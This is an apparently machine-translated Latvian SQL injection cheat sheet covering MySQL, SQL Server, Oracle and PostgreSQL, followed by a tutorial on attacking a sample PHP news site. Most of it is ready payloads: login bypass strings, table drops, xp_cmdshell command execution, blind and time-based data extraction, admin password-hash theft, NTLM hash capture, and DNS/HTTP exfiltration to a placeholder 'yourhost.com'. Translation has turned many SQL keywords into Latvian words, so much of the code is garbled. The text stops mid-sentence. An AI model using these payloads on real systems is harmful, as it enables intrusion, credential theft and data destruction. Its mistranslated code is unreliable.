Kas ir SQL injekcija. SQL injekcija


SQL injekcijas apkrāptu lapa tika izveidota, lai sniegtu kopsavilkuma aprakstu par dažāda veida SQL injekcijas ievainojamībām. Rakstā ir aprakstītas SQL injekciju iespējas MySQL, Microsoft SQL serveris, ORĀKULS Un PostgreSQL.

0. Ievads
Šajā rakstā varat atrast detalizētu tehnisko informāciju par dažādiem SQL injekciju veidiem. Tas var noderēt gan pieredzējušiem speciālistiem, gan jaunpienācējiem informācijas drošības jomā.

Pašlaik piezīmē ir informācija tikai par MySQL, Microsoft SQL Server un daži dati par ORACLE un PostgreSQL. Sadaļās ir injekcijas sintakse, skaidrojumi un piemēri.

Izmantotie simboli:
M (MySQL);
S (SQL serveris);
O (Orākuls);
P (PostgreSQL);
+ (iespējams, citās datu bāzēs);
* (nepieciešami īpaši nosacījumi).

1. Līnijas komentāri
Komentāri parasti ir noderīgi, lai ignorētu daļu vaicājuma.
Sintakse:
-- (SM): DROP paraugu tabula;--
# (M): DROP paraugu tabula; #
Piemērs:
Lietotājvārds: admin" --
Ģenerēts vaicājums: SELECT * FROM dalībnieki WHERE lietotājvārds = "admin"--" UN parole = "parole"
Tas ļaus jums pieteikties kā administratora lietotājs, apejot paroles pārbaudi.

2. Bloķēt komentārus
Ar viņu palīdzību jūs varat ignorēt daļu pieprasījuma, aizstāt atstarpes, apiet melnos sarakstus un noteikt datu bāzes versiju.
Sintakse:
/*Komentārs*/ (SM):
DROP/*komentārs*/paraugs
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL īpašais SQL */ (M): SELECT /*!32302 1/0, */ 1 NO tabulas nosaukums
Šī ir īpaša MySQL komentāru sintakse. Tas ļauj noteikt MySQL versiju. Šis komentārs darbosies tikai MySQL
Piemēri:
ID: 10; DROP TABLE dalībnieki /*
Mēs ignorējam pārējo pieprasījumu, tāpat kā rindiņas komentāru.

ID: /*!32302 10*/
jūs saņemsit tādu pašu atbildi kā ar ID=10, ja MySQL versija ir augstāka par 3.23.02

ID: /*!32302 1/0, */
Ģenerēts vaicājums: SELECT /*!32302 1/0, */ 1 FROM tabulas nosaukums
Ja serverim ir MySQL versija, kas ir augstāka par 3.23.02, radīsies dalīšanas ar 0 kļūda

3. Pieprasījumu secība
Ļauj izpildīt vairāk nekā vienu pieprasījumu vienlaikus. Tas ir noderīgi jebkurā injekcijas vietā.


Zaļš - atbalstīts; melns - netiek atbalstīts; pelēks - nezināms.
Sintakse:
; (S): SELECT * FROM dalībniekiem; DROP dalībnieki--
Viens pieprasījums beidzās, sākās nākamais.
Piemērs:
ID: 10;DROP dalībnieki --
Ģenerēts vaicājums: SELECT * FROM products WHERE id = 10; DROP dalībnieki--
Šis vaicājums nomet dalībnieku tabulu pēc parastā vaicājuma.

4. Nosacīti apgalvojumi
Ja nosacījums būs izpildīts, saņemsim atbildi uz pieprasījumu. Šis ir viens no galvenajiem aklās injekcijas punktiem. Tie palīdz arī precīzi pārbaudīt vienkāršas lietas.
Sintakse:
IF(nosacījums, patiesa daļa, nepatiesa daļa) (M): ATLASĪT IF(1=1 "patiess", "nepatiess")
IF nosacījums true-part ELSE viltus daļa (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF nosacījums TAD true-part; ELSE viltus daļa; ENDIF; BEIGAS; (O): JA (1=1) TAD dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; BEIGAS;
SELECT CASE WHEN nosacījums THEN true-part ELSE false-part END; (P): IZVĒLĒTIES GADĪJUMU, KAD (1=1) TAD "A" CITI "B" BEIGAS;
piemērs:
ja ((atlasīt lietotāju) = "sa" VAI (izvēlēties lietotāju) = "dbo") atlasiet 1, citādi atlasiet 1/0 (S)
izmetīs dalījumu ar nulli kļūdu, ja pašreizējais lietotājs nav "sa" vai "dbo".

5. Ciparu lietošana
Izmanto, lai apietu magic_quotes() un līdzīgus filtrus, tostarp WAF.
Sintakse:
0xHEX_NUMBER (SM):
ATLASĪT CHAR (0x66) (S)
SELECT 0x5045 (tas nav skaitlis, bet virkne) (M)
SELECT 0x50 + 0x45 (tagad tas ir skaitlis) (M)
Piemēri:
ATLASĪT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Parāda faila c:\boot.ini saturu

6. Virkņu savienošana
Virknes darbības var palīdzēt apiet filtrus vai identificēt datu bāzi.
Sintakse:
+ (S): SELECT pieteikšanās + "-" + parole NO dalībniekiem
|| (*MO): SELECT login || "-" || parole NO biedriem
Darbosies, ja MySQL darbojas ANSI režīmā. Pretējā gadījumā MySQL to nepieņems kā loģisko operatoru un atgriezīs 0. MySQL labāk ir izmantot funkciju CONCAT().

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(pieteikšanās, parole) NO dalībniekiem

7. Stīgas bez pēdiņām
Ir vairāki veidi, kā izvairīties no pēdiņu izmantošanas vaicājumā, piemēram, izmantojot CHAR() (MS) un CONCAT() (M).
Sintakse:
SELECT 0x457578 (M)

MySQL ir vienkāršs veids, kā attēlot virkni kā hex kodu:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Atgriež virkni “KLM”:
ATLASĪT CONCAT(CHAR(75), CHAR(76), CHAR(77)) (M)
ATLASĪT CHAR(75)+CHAR(76)+CHAR(77) (S)
ATLASĪT CHR(75)||CHR(76)||CHR(77) (O)
ATLASĪT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Virkņu un skaitļu konvertēšana.
Sintakse:
ASCII() (SMP): SELECT ASCII("a")
Atgriež vistālāk kreisās rakstzīmes ASCII kodu. Funkciju izmanto aklajām injekcijām.

CHAR() (SM): ATLASĪT CHAR(64)
Pārvērš ASCII kodu attiecīgajā rakstzīmē.

9. SAVIENĪBAS operators
Ar UNION operatoru jūs varat jautāt tabulu krustpunktu. Būtībā varat nosūtīt vaicājumu, kas atgriež vērtību no citas tabulas.
Piemērs:
SELECT galvene, txt FROM ziņas SAVIENĪBA VISI SELECT nosaukums, biļete NO biedriem
Tādējādi tiks apvienoti ziņu un dalībnieku tabulu rezultāti

10. Autentifikācijas apiešana (SMO+)
Piemēri:
administrators" -
administrators" #
administrators"/*
"vai 1=1--
" vai 1=1#
" vai 1=1/*
") vai "1"="1--
") vai ("1"="1--

11. apiet MD5 autentifikāciju
Ja lietojumprogramma vispirms salīdzina lietotājvārdu un pēc tam salīdzina paroles md5 hash, jums būs nepieciešami papildu triki, lai apietu autentifikāciju. Varat apvienot rezultātus ar zināmu paroli un tās jaucējfunkciju.
Piemērs (MSP):
Lietotājvārds: admin
Parole: 1234 "UN 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Pamatojoties uz kļūdām
12.1. Sleju definēšana, izmantojot HAVING BY(S)
Piemērs:
Tādā pašā secībā
" AR 1 = 1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 -
…………….
Turpiniet, līdz vairs nesaņemat kļūdas.

12.2. kolonnu skaita noteikšana, izmantojot ORDER BY (MSO+)
Kolonnu skaita atrašanu, izmantojot ORDER BY, var paātrināt, izmantojot UNION injekciju.
PASŪTĪT LĪDZ 1--
PASŪTĪT LĪDZ 2--
PASŪTĪT LĪDZ 3-
………………..
Turpiniet, līdz tiek parādīts kļūdas ziņojums. Tas norādīs kolonnu skaitu.

13. Datu tipa definīcija
Vienmēr izmantojiet UNION ar VISU.
Lai atbrīvotos no nevajadzīga tabulas ieraksta, vaicājuma sākumā izmantojiet taustiņu -1 visām neesošām vērtībām (ja injekcija ir WHERE parametrā). Tas ir svarīgi, ja vienlaikus varat izgūt tikai vienu vērtību.
UNION injekcijās izmantojiet NULL, nevis mēģināt uzminēt virkni, datumu, numuru utt. Taču esiet piesardzīgs, injicējot akli, jo... iespējams, jūs sajaucat datu bāzes kļūdu ar pašu lietojumprogrammu. Dažas valodas, piemēram, ASP.NET, rada kļūdu, izmantojot NULL vērtību (jo izstrādātāji negaidīja, ka lietotājvārda laukā tiks rādīta nulles vērtība).
Piemēri:
" arodbiedrība izvēlieties summu (kolonnu atrast) no lietotājiem-- (S) :
Ja nesaņemat kļūdas ziņojumu, kolonna ir skaitliska.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, nulle, NULL, NULL, konvertēt(attēls,1), null, nulle, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Varat izmantot CAST() vai CONVERT()

11223344) UNION SELECT NULL, NULL, NULL, NULL, KUR 1=2 —
Ja kļūdas nav, tad sintakse ir pareiza, t.i. Tiek izmantots MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL, KUR 1=2 —
Ja kļūdas nav, tad pirmajā kolonnā ir skaitlis.

11223344) SAVIENĪBAS IZVĒLE 1,2,NULL,NULL, KUR 1=2 —
Ja parādās kļūda, tad otrā kolonna nav skaitlis.

11223344) UNION SELECT 1,'2', NULL, NULL, KUR 1=2 —
Ja kļūdas nav, tad otrā kolonna ir virkne.
……………..

14. Vienkāršs ieliktnis (MSO+)
Piemērs:
"; ievietot lietotāju vērtībās (1, "hax0r", "coolpass", 9)/*

15. Informācijas vākšana
Sintakse:
@@version (MS)
Jūs varat uzzināt datu bāzes versiju un sīkāku informāciju.
Piemērs:
INSERT INTO dalībnieki(id, lietotājs, caurlaide) VĒRTĪBAS(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Komplekss ieliktnis (S)
Ļauj ievietot faila saturu tabulā. Ja nezināt tīmekļa lietojumprogrammas iekšējo ceļu, varat lasīt IIS metabāzi (tikai IIS 6).
Sintakse:
fails (%systemroot%\system32\inetsrv\MetaBase.xml)
Pēc tam tajā varat atrast lietojumprogrammu ceļus.
Piemērs:
1. Izveidojiet tabulu foo (virknes tips varchar(8000))
2. Tabulā foo ievietojiet faila “c:\inetpub\wwwroot\login.asp” saturu.
3. Nometiet pagaidu tabulu un atkārtojiet citu failu.

17. BCP (S)
Raksta teksta failu. Tam ir nepieciešami akreditācijas dati.
Piemērs:
bcp "SELECT * FROM test..foo" vaicājums c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH SQL serverī (S)
SQL serverī varat izmantot VBS, WSH skriptus.
Piemērs:
Lietotājvārds:"; deklarēt @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "palaist", NULL, "notepad.exe" –

19. Izpildīt sistēmas komandas (S)
Labi zināms triks, šis līdzeklis pēc noklusējuma ir atspējots SQL Server 2005. Jums ir nepieciešamas administratora tiesības.
Piemērs:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Speciālās tabulas SQL serverī (S)
Piemēri:
Kļūdu ziņojumi: master..sysmessages
Saistītie serveri: master..sysservers
Parole SQL Server 2000: masters..sysxlogins
Parole SQL Server 2005: sys.sql_logins

21. Vairākas saglabātas procedūras SQL Server (S)
Sintakse:
Cmd Izpildīt (xp_cmdshell)
Reģistra informācija (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Pakalpojumu pārvaldība (xp_servicecontrol)
Multivide (xp_availablemedia)
ODBC resursi (xp_enumdsn)
Pieteikšanās režīms (xp_loginconfig)
Cab failu izveide (xp_makecab)
Domēnu uzskaitījums (xp_ntsec_enumdomains)
Procesa nogalināšana (nepieciešams PID) (xp_terminate_process)
Pievienot jaunu procedūru (sp_addextendedproc)
Rakstiet teksta failu uz UNC vai iekšējo ceļu (sp_makewebtask)
Piemēri:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL lielapjoma piezīmes
Piemēri:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DEKLARĒT @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) — http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL injekcija LIMIT (M) vaicājumos
Piemērs:
SELECT id, produkts FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Lai apietu LIMIT operatoru, varat izmantot UNION vai komentāru.

24. SQL Servera (S) izslēgšana
Piemērs:
";izslēgt -

25. Xp_cmdshell iespējošana SQL Server 2005
Sintakse:
Pēc noklusējuma xp_cmdshell un pāris citi potenciāli bīstami līdzekļi ir atspējoti SQL Server 2005. Ja jums ir administratora tiesības, varat tās iespējot.
EXEC sp_configure "rādīt papildu opcijas",1
PĀRKONFIGŪRĒT
EXEC sp_configure "xp_cmdshell",1
PĀRKONFIGŪRĒT

26. Datu bāzes struktūras meklēšana SQL Server (S)
Piemēri:
ATLASĪT nosaukumu FROM sysobjects WHERE xtype = "U"

SELECT nosaukums FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Kolonnu nosaukumu iegūšana

27. Moving Records (S)
Piemēri:
... KUR lietotāji NAV IEEJĀ ("Pirmais lietotājs", "Otrais lietotājs")
Izmantojiet WHERE ar NOT IN vai NOT EXIST

IZVĒLĒTIES TOP 1 vārdu NO dalībniekiem, KUR NEPASTĀV (ATLASĪT TOP 0 vārdu NO dalībniekiem)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Izvēlieties p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, nosaukums no sysobjects o) kā p kur p.x=3) kā int

Izvēlieties p.name no (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" un i.id)<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Ātrs veids, kā iegūt datus no SQL Server (S) kļūdām balstītas injekcijas.
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+nosaukums FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd TMP_SYS_TMP beigās;--

29. Datu bāzes struktūras meklēšana MySQL (M)
Piemēri:
SELECT tabulas_nosaukums FROM information_schema.tables WHERE table_schema = "tabulas nosaukums"
Pielāgotu tabulu iegūšana

SELECT tabulas_nosaukums, kolonnas_nosaukums FROM informācija_shēma.columns WHERE tabulas_shēma = "tabulas nosaukums"
Kolonnu nosaukumu iegūšana

30. Datu bāzes struktūras meklēšana programmā Oracle (O)
Piemēri:
SELECT * FROM all_tables WHERE OWNER = "DATU BĀZES_NAME"
Pielāgotu tabulu iegūšana

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Kolonnu nosaukumu iegūšana

31.Aklo injekcijas
Kvalitatīvajā lietojumprogrammā jūs nevarēsit redzēt kļūdu ziņojumus. Jūs nevarēsit izmantot UNION operatoru un uz kļūdām balstītus uzbrukumus. Lai iegūtu datus, jums būs jāizmanto aklā SQL injekcija. Ir divu veidu aklo injekcijas.
Regulāra aklā injekcija: jūs nevarat redzēt pieprasījumu rezultātus lapā, bet jūs varat noteikt rezultātu pēc atbildes vai HTTP statusa.
Pilnīgi akla injekcija: jūs neredzēsit nekādas atšķirības izvadē.
Parastās aklās injekcijās varat izmantot IF un WHERE paziņojumus, pilnībā aklos injekcijās ir jāizmanto dažas gaidīšanas funkcijas un jāsalīdzina reakcijas laiks. Lai to izdarītu, programmā SQL Server varat izmantot WAIT FOR DELAY '0:0:10', MySQL BENCHMARK() un miega režīmu (10), bet PostgreSQL pg_sleep(10).
Piemērs:
Šis piemērs ir balstīts uz reālu aklās injekcijas darbību SQL serverī.

TRUE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>78--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>103--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>89--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>83--

TRUE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>79--

FALSE: SELECT ID, lietotājvārds, e-pasts FROM WHERE ID = 1 UN ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>80--

Pamatojoties uz pēdējiem diviem vaicājumiem, mēs precīzi zinām ascii pirmās rakstzīmes vērtību — tā ir 80. Tas nozīmē, ka pirmā rakstzīme ir "P". Tādā veidā mēs varam uzzināt tabulu nosaukumus un to saturu. Vēl viens veids ir nolasīt datus pa bitiem.

32. Pilnīgi akla injekcija
Izmantojiet šo metodi tikai patiesi aklas injekcijas gadījumā. Esiet uzmanīgi ar gaidīšanas laiku.
Sintakse:
GAIDĪT KAVĒŠANU "laiks" (S)
Funkcija vienkārši gaida norādīto laiku, neielādējot procesoru.
Piemēri:
if (atlasīt lietotāju) = "sa" gaidīt aizkavi "0:0:10"
ProductID =1;gaidiet aizkavi "0:0:10"--
ProductID =1);gaidiet aizkavi "0:0:10"--
ProductID =1";gaidiet aizkavi "0:0:10"--
ProductID =1");gaidiet aizkavi "0:0:10"--
ProductID =1));gaidiet aizkavi "0:0:10"--
ProductID =1"));gaidiet aizkavi "0:0:10"--
Sintakse:
ETALONS (cik reizes, dariet to) (M)
Piemērs:
JA PASTĀV (SELECT * FROM users WHERE lietotājvārds = "root") BENCHMARK(1000000000,MD5(1))
Mēs pārbaudām root lietotāja klātbūtni.

IF (ATLASĪT * NO pieteikšanās) ETALONS(1000000,MD5(1))
Tabulas esamības pārbaude MySQL
Sintakse:
pg_sleep(sekundes) (P)
Noguliet piegādātās sekundes.

miegs (sekundes) (M)
gulēt uz piegādātajām sekundēm.

bms_pipe.receive_message (O)
gulēt uz piegādātajām sekundēm.
Piemērs:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz") ),1) BEIGAS NO dubultā)
(INJEKCIJA) – jūsu pieprasījums.
Ja nosacījums ir patiess, atbilde būs 10 sekundes. Pretējā gadījumā atbilde būs 1 sekunde.

33. Noderīgas MySQL funkcijas
Sintakse:
MD5()
SHA1()
PAROLE()
ENCODE()
KOMPRESS()
ROW_COUNT()
SHĒMA()
VERSIJA()

34. Otrās kārtas SQL injekcijas
Parasti laukā ievietojat SQL injekcijas vaicājumu un gaidāt, ka tas netiks filtrēts.
Piemērs:
Nosaukums: " + (IZVĒLĒTIES 1. TOP 1 paroli NO lietotājiem) + "
E-pasts: [aizsargāts ar e-pastu]
Ja lietojumprogrammā tiek izmantots saglabātās procedūras vai funkcijas lauka nosaukums, varat to izmantot injekcijai.

35. SQL servera izmantošana NTLM jaucējkodu iegūšanai
Šis uzbrukums palīdzēs iegūt mērķa servera Windows lietotāja paroli, izmantojot SQL Server, ja nav piekļuves no ārpuses. Mēs varam piespiest SQL Server izveidot savienojumu ar Windows, izmantojot UNC ceļu, un izvilkt NTLM sesiju, izmantojot īpašus rīkus, piemēram, Cain & Abel.

Sintakse:
UNC ceļš: "\\YOURIPADDRESS\C$\x.txt"
36. Citi injekciju piemēri
SQL serveris:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+.yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DEKLARĒT @q varchar(1024); SET @q = "\\"+((INJEKCIJA))+".jusuhost.com\\test.txt"; EXEC meistars..xp_dirtree @q
izveido DNS vaicājumu vietnei (INJECTION).yourhost.com

(INJEKCIJA) - jūsu pieprasījums.
MySQL:
?vulnerableParam=-99 VAI (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Izveido NBNS/DNS pieprasījumu vietnei yourhost.com
?vulnerableParam=-99 VAI (ATLASĪT ((INJECTION)) OUTFILE "\\\\yourhost.com\\share\\output.txt")
Ieraksta datus jūsu failā
(INJEKCIJA) - jūsu pieprasījums.
Orākuls:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") NO DUAL)
Sniferis saglabās rezultātus
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") NO DUAL)
Rezultāti tiks saglabāti HTTP žurnālos
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") NO DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) NO DUAL)
Jums jāanalizē DNS pieprasījuma trafiks uz yourhost.com
(INJEKCIJA) - jūsu pieprasījums.

Šis materiāls ir adaptīvs tulkojums rakstam SQL Injection Cheat Sheet.

Neuzmanība un neuzmanība ir divi iemesli, kāpēc tiek rakstīts kods, kas ir neaizsargāts pret SQL injekcijām. Trešajam iemeslam – nezināšanai, vajadzētu mudināt programmētāju padziļināt zināšanas vai pat mainīt profesiju.

SQL injekcija ( SQL injekcija) - ievainojamība kas rodas nepietiekamas datu pārbaudes un apstrādes dēļ, kas tiek pārsūtīti no lietotāja, un ļauj modificēt un izpildīt SQL programmas koda neparedzētus vaicājumus.

SQL injekcija ir plaši izplatīts drošības trūkums internetā, ko var viegli izmantot bez īpašām programmām un kam nav nepieciešamas plašas tehniskās zināšanas. Šīs ievainojamības izmantošana paver durvis uz lieliskām iespējām, piemēram:

  • datu zādzība - 80%;
  • pakalpojuma atteikums - 10 procenti;
  • datu aizstāšana vai iznīcināšana - 2-3%;
  • citi gadījumi un nodomi.

Ir arī dažādas programmas vietņu drošības pārbaudei visu veidu JS un SQL injekcijām.

Detalizēts skaidrojums

Šajā rakstā mēģināšu izskaidrot galvenos riskus, kas rodas, mijiedarbojoties ar MySQL datu bāzi. Skaidrības labad es sniegšu vienkāršas datu bāzes struktūras piemēru, kas raksturīga lielākajai daļai projektu:

IZVEIDOT DATU BĀZI `ziņas`; LIETOT `ziņas`; # # ziņu tabula # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) noklusējuma NULL, `datums` datuma un laika noklusējuma NULL, `teksts` teksts, PRIMARY KEY (`id` )) TYPE=MyISAM; # # pievienot dažus datus # INSERT `news` SET `id`="1", `title`="pirmās ziņas", `date`="2005-06-25 16:50:20", `text`=" ziņu teksts"; INSERT `news` SET `id`="2", `title`="otrās ziņas", `date`="2005-06-24 12:12:33", `text`="testa ziņas"; # # lietotāju tabula # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) noklusējuma NULL, `password` varchar(50) noklusējuma NULL, `admin` int(1) NULL NOKLUSĒJUMS "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # pievienojiet vairākus lietotājus, vienu ar administratora tiesībām, otru vienkāršu # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Mēs redzam, ka pieprasījums tiek ģenerēts atkarībā no $_GET["id"] vērtības. Lai pārbaudītu ievainojamību, pietiek ar to mainīt uz vērtību, kas var izraisīt kļūdu SQL vaicājuma izpildē.

Protams, kļūdu izvades var nebūt, taču tas nenozīmē, ka kļūdas rezultātā nav

“Jums ir kļūda jūsu SQL sintaksē; pārbaudiet rokasgrāmatu, kas atbilst jūsu MySQL servera versijai, lai atrastu pareizo sintakse, ko izmantot blakus "" 1. rindā"

vai rezultāts

http://test.com/index.php?id=2-1

ja ir ievainojamība, tai vajadzētu radīt līdzīgu rezultātu

http://test.com/index.php?id=1.

Līdzīgas ievainojamības ļauj mainīt pieprasījumu parametra WHERE daļā. Pirmā lieta, ko uzbrucējs darīs, atklājot šādu ievainojamību, ir pārbaudīt, cik lauki tiek izmantoti pieprasījumā. Lai to izdarītu, tiek iestatīts apzināti nepareizs ID, lai izslēgtu reālas informācijas izvadi, un tiek apvienots ar pieprasījumu ar tādu pašu tukšu lauku skaitu.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

"nulles" skaitam jāatbilst pieprasījumā izmantoto lauku skaitam.

Ja vaicājums rada kļūdu, tiek pievienota cita tukša vērtība, līdz kļūda pazūd un tiek atgriezts rezultāts ar tukšiem datiem. Pēc tam apvienotie lauki tiek aizstāti ar vērtībām, kuras var vizuāli novērot lapā.

Piemēram:

http://test.com/index.php?id=-1+UNION+SELECT+null

Tagad lapā, kurā bija jāparāda ziņu virsraksts, parādīsies qwerty.

Kā uzzināt MySQL versijas?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Kā izgūt pašreizējā datu bāzes lietotāja pieteikšanos?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Kāds ir izmantotās datu bāzes nosaukums?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATU BĀZE(),null,null

Kā iegūt citus datus no citām tabulām?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Tas ir vienkāršs veids, kā uzzināt administratora paroli vai paroles jaucējkodu. Ja pašreizējam lietotājam ir piekļuves tiesības “mysql” datu bāzei, uzbrucējs bez mazākajām problēmām saņems administratora paroles jaucējkodu.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Tagad viņa izvēle ir tikai laika jautājums.

Meklēt

Meklēšana ir viena no visneaizsargātākajām vietām, jo ​​vienlaikus tiek pārsūtīts liels skaits vaicājuma parametru. Piemērs vienkāršam vaicājumam, kas veic meklēšanu pēc atslēgvārda:

ATLASĪT * NO `ziņu`, KUR `nosaukums` PATĪK "%$search%" VAI "teksts" PATĪK "%$search%"

$search ir vārds, kas tiek nosūtīts no veidlapas. Uzbrucējs var nodot $search="# mainīgajā, tagad pieprasījums izskatīsies šādi:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" VAI `teksts` LIKE "%"#%";

Attiecīgi atslēgvārda meklēšanas rezultātu vietā tiks parādīti visi dati. Tas arī ļauj izmantot iepriekš aprakstīto vaicājumu apkopošanas līdzekli.

Izmantojot parametru ORDER

Bieži var redzēt, ka, ievadot meklēšanas parametrus vai parādot informāciju, tie ļauj lietotājam kārtot datus pēc noteiktiem laukiem. Uzreiz teikšu, ka šīs ievainojamības izmantošana nav pārāk bīstama, jo, mēģinot apvienot pieprasījumus, tā radīs kļūdu, taču kombinācijā ar ievainojamībām citās jomās pastāv risks komentēt šo parametru.

http://test.com/index.php?sort=name

parametrs ORDER veidojas atkarībā no $sort mainīgā

Tiks ģenerēts šāds pieprasījums:

SELECT * FROM `news` KUR `nosaukums` PATĪK "%"/*%" VAI `teksts` PATĪK "%"/*%" PASĀKOT PĒC */

tādējādi komentējot vienu no nosacījumiem un parametru ORDER

Tagad varat vēlreiz apvienot vaicājumu, piešķirot $sort=*/ UNION SELECT...

Kā iespēja izmantot šī parametra ievainojamību:

SELECT * FROM `lietotāji` ORDER BY LENGTH(parole);

Tas ļaus kārtot lietotājus atkarībā no paroles garuma, ja vien tā ir saglabāta “tīrā” formā.

Autorizācija

Tagad mēģināsim apsvērt SQL injekciju iespējas, kas rodas lietotāja autorizācijas laikā. Parasti pieprasījums, kas pārbauda autorizācijas datu pareizību, izskatās šādi:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

kur $login un $password ir mainīgie, kas tiek nodoti no formas. Šāds vaicājums atgriež lietotāja datus, ja tas ir veiksmīgs, un tukšu rezultātu, ja tas ir neveiksmīgs. Attiecīgi, lai nodotu autorizāciju, uzbrucējam tikai jāmaina pieprasījums, lai tas atgrieztu rezultātu, kas nav nulle. Tiek norādīts pieteikšanās vārds, kas atbilst reālam lietotājam, un paroles vietā ir " VAI "1"="1" vai kāds patiess nosacījums (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 STARP 1 UN 3). Attiecīgi pieprasījums tiks ģenerēts šādi:

